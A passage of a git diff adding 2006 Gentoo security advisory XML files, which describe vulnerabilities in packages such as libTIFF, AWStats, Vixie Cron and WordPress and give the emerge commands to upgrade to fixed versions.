+++ b/xml/htdocs/security/en/glsa/glsa-200605-16.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-16">
+  <title>CherryPy: Directory traversal vulnerability</title>
+  <synopsis>
+    CherryPy is vulnerable to a directory traversal that could allow attackers
+    to read arbitrary files.
+  </synopsis>
+  <product type="ebuild">cherrypy</product>
+  <announced>May 30, 2006</announced>
+  <revised>May 30, 2006: 01</revised>
+  <bug>134273</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-python/cherrypy" auto="yes" arch="*">
+      <unaffected range="ge">2.1.1</unaffected>
+      <vulnerable range="lt">2.1.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    CherryPy is a Python-based, object-oriented web development
+    framework.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ivo van der Wijk discovered that the "staticfilter" component of
+    CherryPy fails to sanitize input correctly.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker could exploit this flaw to obtain arbitrary files from
+    the web server.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All CherryPy users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-python/cherrypy-2.1.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0847">CVE-2006-0847</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 27 May 2006 09:02:22 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 27 May 2006 09:02:32 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 28 May 2006 21:15:45 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200605-17.xml b/xml/htdocs/security/en/glsa/glsa-200605-17.xml
new file mode 100644
index 00000000..234d0058
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200605-17.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200605-17">
+  <title>libTIFF: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in libTIFF could lead to the execution of
+    arbitrary code or a Denial of Service.
+  </synopsis>
+  <product type="ebuild">libtiff</product>
+  <announced>May 30, 2006</announced>
+  <revised>May 30, 2006: 01</revised>
+  <bug>129675</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-libs/tiff" auto="yes" arch="*">
+      <unaffected range="ge">3.8.1</unaffected>
+      <vulnerable range="lt">3.8.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libTIFF provides support for reading and manipulating TIFF images.
+    </p>
+  </background>
+  <description>
+    <p>
+    Multiple vulnerabilities, ranging from integer overflows and NULL
+    pointer dereferences to double frees, were reported in libTIFF.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit these vulnerabilities by enticing a user
+    to open a specially crafted TIFF image, possibly leading to the
+    execution of arbitrary code or a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All libTIFF users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/tiff-3.8.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0405">CVE-2006-0405</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2024">CVE-2006-2024</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2025">CVE-2006-2025</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2026">CVE-2006-2026</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Sun, 28 May 2006 21:42:59 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 28 May 2006 21:43:06 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-01.xml b/xml/htdocs/security/en/glsa/glsa-200606-01.xml
new file mode 100644
index 00000000..ede050cf
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-01.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-01">
+  <title>Opera: Buffer overflow</title>
+  <synopsis>
+    Opera contains an integer signedness error resulting in a buffer overflow
+    which may allow a remote attacker to execute arbitrary code.
+  </synopsis>
+  <product type="ebuild">opera</product>
+  <announced>June 07, 2006</announced>
+  <revised>June 07, 2006: 01</revised>
+  <bug>129800</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/opera" auto="yes" arch="*">
+      <unaffected range="ge">8.54</unaffected>
+      <vulnerable range="lt">8.54</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Opera is a multi-platform web browser.
+    </p>
+  </background>
+  <description>
+    <p>
+    SEC Consult has discovered a buffer overflow in the code
+    processing style sheet attributes. It is caused by an integer
+    signedness error in a length check followed by a call to a string
+    function. It seems to be hard to exploit this buffer overflow to
+    execute arbitrary code because of the very large amount memory that has
+    to be copied.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker can entice a user to visit a web page containing
+    a specially crafted style sheet attribute that will crash the user's
+    browser and maybe lead to the execution of arbitrary code.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Opera users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-client/opera-8.54&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1834">CVE-2006-1834</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 30 May 2006 13:12:35 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 31 May 2006 19:39:23 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-02.xml b/xml/htdocs/security/en/glsa/glsa-200606-02.xml
new file mode 100644
index 00000000..1543add1
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-02.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-02">
+  <title>shadow: Privilege escalation</title>
+  <synopsis>
+    A security issue in shadow allows a local user to perform certain actions
+    with escalated privileges.
+  </synopsis>
+  <product type="ebuild">shadow</product>
+  <announced>June 07, 2006</announced>
+  <revised>June 07, 2006: 01</revised>
+  <bug>133615</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-apps/shadow" auto="yes" arch="*">
+      <unaffected range="ge">4.0.15-r2</unaffected>
+      <vulnerable range="lt">4.0.15-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    shadow provides a set of utilities to deal with user accounts.
+    </p>
+  </background>
+  <description>
+    <p>
+    When the mailbox is created in useradd, the "open()" function does
+    not receive the three arguments it expects while O_CREAT is present,
+    which leads to random permissions on the created file, before fchmod()
+    is executed.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Depending on the random permissions given to the mailbox file
+    which is at this time owned by root, a local user may be able to open
+    this file for reading or writing, or even executing it, maybe as the
+    root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All shadow users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-apps/shadow-4.0.15-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1174">CVE-2006-1174</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 01 Jun 2006 07:06:38 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 01 Jun 2006 15:23:57 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 05 Jun 2006 17:20:29 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-03.xml b/xml/htdocs/security/en/glsa/glsa-200606-03.xml
new file mode 100644
index 00000000..4ef79010
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-03.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-03">
+  <title>Dia: Format string vulnerabilities</title>
+  <synopsis>
+    Format string vulnerabilities in Dia may lead to the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">dia</product>
+  <announced>June 07, 2006</announced>
+  <revised>June 07, 2006: 01</revised>
+  <bug>133699</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-office/dia" auto="yes" arch="*">
+      <unaffected range="ge">0.95.1</unaffected>
+      <vulnerable range="lt">0.95.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Dia is a GTK+ based diagram creation program.
+    </p>
+  </background>
+  <description>
+    <p>
+    KaDaL-X discovered a format string error within the handling of
+    filenames. Hans de Goede also discovered several other format
+    string errors in the processing of dia files.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to open a specially crafted file, a remote
+    attacker could exploit these vulnerabilities to execute arbitrary code
+    with the rights of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Dia users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-office/dia-0.95.1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2453">CVE-2006-2453</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2480">CVE-2006-2480</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 30 May 2006 16:11:11 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 30 May 2006 23:25:33 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 05 Jun 2006 17:20:31 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-04.xml b/xml/htdocs/security/en/glsa/glsa-200606-04.xml
new file mode 100644
index 00000000..363852dd
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-04.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-04">
+  <title>Tor: Several vulnerabilities</title>
+  <synopsis>
+    Tor is vulnerable to a possible buffer overflow, a Denial of Service,
+    information disclosure and information leak.
+  </synopsis>
+  <product type="ebuild">tor</product>
+  <announced>June 07, 2006</announced>
+  <revised>September 05, 2006: 02</revised>
+  <bug>134329</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/tor" auto="yes" arch="*">
+      <unaffected range="ge">0.1.1.20</unaffected>
+      <unaffected range="rge">0.1.0.18</unaffected>
+      <vulnerable range="lt">0.1.1.20</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Tor is an implementation of second generation Onion Routing, a
+    connection-oriented anonymizing communication service.
+    </p>
+  </background>
+  <description>
+    <p>
+    Some integer overflows exist when adding elements to the smartlists.
+    Non-printable characters received from the network are not properly
+    sanitised before being logged. There are additional unspecified bugs in
+    the directory server and in the internal circuits.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    The possible buffer overflow may allow a remote attacker to execute
+    arbitrary code on the server by sending large inputs. The other
+    vulnerabilities can lead to a Denial of Service, a lack of logged
+    information, or some information disclosure.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Tor users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose net-misc/tor</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-0414">CVE-2006-0414</uri>
+    <uri link="http://tor.eff.org/cvs/tor/ChangeLog">Tor ChangeLog</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 01 Jun 2006 07:05:28 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 01 Jun 2006 17:37:03 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 05 Jun 2006 17:15:10 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-05.xml b/xml/htdocs/security/en/glsa/glsa-200606-05.xml
new file mode 100644
index 00000000..04c5f30c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-05.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-05">
+  <title>Pound: HTTP request smuggling</title>
+  <synopsis>
+    Pound is vulnerable to HTTP request smuggling, which could be exploited to
+    bypass security restrictions or poison web caches.
+  </synopsis>
+  <product type="ebuild">pound</product>
+  <announced>June 07, 2006</announced>
+  <revised>November 24, 2006: 03</revised>
+  <bug>118541</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-servers/pound" auto="yes" arch="*">
+      <unaffected range="ge">2.0.5</unaffected>
+      <unaffected range="rge">1.10</unaffected>
+      <unaffected range="rge">1.9.4</unaffected>
+      <vulnerable range="lt">2.0.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Pound is a reverse proxy, load balancer and HTTPS front-end. It allows
+    to distribute the load on several web servers and offers a SSL wrapper
+    for web servers that do not support SSL directly.
+    </p>
+  </background>
+  <description>
+    <p>
+    Pound fails to handle HTTP requests with conflicting "Content-Length"
+    and "Transfer-Encoding" headers correctly.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    An attacker could exploit this vulnerability by sending HTTP requests
+    with specially crafted "Content-Length" and "Transfer-Encoding" headers
+    to bypass certain security restrictions or to poison the web proxy
+    cache.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Pound users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose www-servers/pound</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-3751">CVE-2005-3751</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 25 May 2006 15:47:49 +0000">
+    DerCorny
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 25 May 2006 18:03:55 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 29 May 2006 16:09:23 +0000">
+    DerCorny
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-06.xml b/xml/htdocs/security/en/glsa/glsa-200606-06.xml
new file mode 100644
index 00000000..37face06
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-06.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-06">
+  <title>AWStats: Remote execution of arbitrary code</title>
+  <synopsis>
+    AWStats contains a bug in the sanitization of the input parameters which
+    can lead to the remote execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">awstats</product>
+  <announced>June 07, 2006</announced>
+  <revised>May 28, 2009: 02</revised>
+  <bug>130487</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-misc/awstats" auto="yes" arch="*">
+      <unaffected range="ge">6.5-r1</unaffected>
+      <vulnerable range="lt">6.5-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    AWStats is an advanced log file analyzer and statistics generator.
+    </p>
+  </background>
+  <description>
+    <p>
+    Hendrik Weimer has found that if updating the statistics via the
+    web frontend is enabled, it is possible to inject arbitrary code via a
+    pipe character in the "migrate" parameter. Additionally, r0t has
+    discovered that AWStats fails to properly sanitize user-supplied input
+    in awstats.pl.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    A remote attacker can execute arbitrary code on the server in the
+    context of the application running the AWStats CGI script if updating
+    of the statistics via web frontend is allowed. Nonetheless, all
+    configurations are affected by a cross-site scripting vulnerability in
+    awstats.pl, allowing a remote attacker to execute arbitrary scripts
+    running in the context of the victim's browser.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Disable statistics updates using the web frontend to avoid code
+    injection. However, there is no known workaround at this time
+    concerning the cross-site scripting vulnerability.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All AWStats users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-misc/awstats-6.5-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-1945">CVE-2006-1945</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2237">CVE-2006-2237</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 20 May 2006 08:51:28 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 21 May 2006 19:06:44 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 05 Jun 2006 17:20:28 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-07.xml b/xml/htdocs/security/en/glsa/glsa-200606-07.xml
new file mode 100644
index 00000000..a73245ac
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-07.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-07">
+  <title>Vixie Cron: Privilege Escalation</title>
+  <synopsis>
+    Vixie Cron allows local users to execute programs as root.
+  </synopsis>
+  <product type="ebuild">vixie-cron</product>
+  <announced>June 09, 2006</announced>
+  <revised>June 09, 2006: 01</revised>
+  <bug>134194</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-process/vixie-cron" auto="yes" arch="*">
+      <unaffected range="ge">4.1-r9</unaffected>
+      <vulnerable range="lt">4.1-r9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Vixie Cron is a command scheduler with extended syntax over cron.
+    </p>
+  </background>
+  <description>
+    <p>
+    Roman Veretelnikov discovered that Vixie Cron fails to properly
+    check whether it can drop privileges accordingly if setuid() in
+    do_command.c fails due to a user exceeding assigned resource limits.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    Local users can execute code with root privileges by deliberately
+    exceeding their assigned resource limits and then starting a command
+    through Vixie Cron. This requires resource limits to be in place on the
+    machine.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Vixie Cron users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-process/vixie-cron-4.1-r9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2607">CVE-2006-2607</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 07 Jun 2006 19:26:16 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 07 Jun 2006 20:17:38 +0000">
+    frilled
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 09 Jun 2006 03:56:58 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-08.xml b/xml/htdocs/security/en/glsa/glsa-200606-08.xml
new file mode 100644
index 00000000..d31b3c4c
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-08.xml
@@ -0,0 +1,64 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-08">
+  <title>WordPress: Arbitrary command execution</title>
+  <synopsis>
+    WordPress fails to sufficiently check the format of cached username data.
+  </synopsis>
+  <product type="ebuild">wordpress</product>
+  <announced>June 09, 2006</announced>
+  <revised>June 10, 2006: 02</revised>
+  <bug>134397</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/wordpress" auto="yes" arch="*">
+      <unaffected range="ge">2.0.3</unaffected>
+      <vulnerable range="lt">2.0.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    WordPress is a PHP and MySQL based content management and publishing
+    system.
+    </p>
+  </background>
+  <description>
+    <p>
+    rgod discovered that WordPress insufficiently checks the format of
+    cached username data.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit this vulnerability to execute arbitrary
+    commands by sending a specially crafted username. As of Wordpress 2.0.2
+    the user data cache is disabled by default.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There are no known workarounds at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All WordPress users should upgrade to the latest available version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/wordpress-2.0.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2667">CVE-2006-2667</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2702">CVE-2006-2702</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 06 Jun 2006 16:40:51 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 06 Jun 2006 17:50:23 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-09.xml b/xml/htdocs/security/en/glsa/glsa-200606-09.xml
new file mode 100644
index 00000000..fcf802d9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-09.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-09">
+  <title>SpamAssassin: Execution of arbitrary code</title>
+  <synopsis>
+    SpamAssassin, when running with certain options, could allow local or even
+    remote attackers to execute arbitrary commands, possibly as the root user.
+  </synopsis>
+  <product type="ebuild">Spamassassin</product>
+  <announced>June 11, 2006</announced>
+  <revised>June 11, 2006: 01</revised>
+  <bug>135746</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-filter/spamassassin" auto="yes" arch="*">
+      <unaffected range="ge">3.1.3</unaffected>
+      <vulnerable range="lt">3.1.3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SpamAssassin is an extensible email filter used to identify junk
+    email. spamd is the daemonized version of SpamAssassin.
+    </p>
+  </background>
+  <description>
+    <p>
+    When spamd is run with both the "--vpopmail" (-v) and
+    "--paranoid" (-P) options, it is vulnerable to an unspecified issue.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    With certain configuration options, a local or even remote
+    attacker could execute arbitrary code with the rights of the user
+    running spamd, which is root by default, by sending a crafted message
+    to the spamd daemon. Furthermore, the attack can be remotely
+    performed if the "--allowed-ips" (-A) option is present and specifies
+    non-local adresses. Note that Gentoo Linux is not vulnerable in the
+    default configuration.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Don't use both the "--paranoid" (-P) and the "--vpopmail" (-v)
+    options.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SpamAssassin users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-filter/spamassassin-3.1.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2447">CVE-2006-2447</uri>
+  </references>
+  <metadata tag="bugReady" timestamp="Thu, 08 Jun 2006 05:47:21 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 08 Jun 2006 10:26:06 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-10.xml b/xml/htdocs/security/en/glsa/glsa-200606-10.xml
new file mode 100644
index 00000000..9f45d54d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-10.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200606-10">
+  <title>Cscope: Many buffer overflows</title>
+  <synopsis>
+    Cscope is vulnerable to multiple buffer overflows that could lead to the
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">Cscope</product>
+  <announced>June 11, 2006</announced>
+  <revised>June 11, 2006: 01</revised>
+  <bug>133829</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-util/cscope" auto="yes" arch="*">
+      <unaffected range="ge">15.5-r6</unaffected>
+      <vulnerable range="lt">15.5-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cscope is a developer's tool for browsing source code.
+    </p>
+  </background>
+  <description>
+    <p>
+    Cscope does not verify the length of file names sourced in
+    #include statements.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A user could be enticed to source a carefully crafted file which
+    will allow the attacker to execute arbitrary code with the permissions
+    of the user running Cscope.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Cscope users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=dev-util/cscope-15.5-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2541">CVE-2004-2541</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 01 Jun 2006 07:07:22 +0000">
+    falco
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 05 Jun 2006 17:21:43 +0000">
+    falco
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 05 Jun 2006 18:50:34 +0000">
+    dizzutch
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200606-11.xml b/xml/htdocs/security/en/glsa/glsa-200606-11.xml
new file mode 100644
index 00000000..a6625695
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200606-11.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
